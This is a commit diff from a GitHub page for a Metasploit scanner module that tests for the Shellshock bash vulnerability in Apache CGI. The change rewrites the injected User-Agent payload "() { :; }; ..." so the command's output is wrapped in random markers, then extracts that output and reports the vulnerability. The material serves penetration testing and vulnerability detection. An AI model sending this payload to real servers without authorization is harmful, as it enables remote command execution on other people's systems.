We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 5a59b7c commit 8daf8d4Copy full SHA for 8daf8d4
modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb
@@ -41,14 +41,22 @@ def initialize(info = {})
41
end
42
43
def run_host(ip)
44
+ marker = Rex::Text.rand_text_alphanumeric(rand(42) + 1)
45
+
46
res = send_request_raw(
47
'method' => datastore['METHOD'],
48
'uri' => normalize_uri(target_uri.path),
- 'agent' => "() { :;}; #{datastore['CMD']}"
49
+ 'agent' => %Q{() { :; }; echo "#{marker}$(#{datastore['CMD']})#{marker}"}
50
)
51
- if res && res.code == 200
- vprint_good("#{peer} - #{res.body}")
52
+ if res && res.body =~ /#{marker}(.+)#{marker}/m
53
+ print_good("#{peer} - #{$1}")
54
+ report_vuln(
55
+ :host => ip,
56
+ :port => rport,
57
+ :name => self.name,
58
+ :refs => self.references
59
+ )
60
61
62
0 commit comments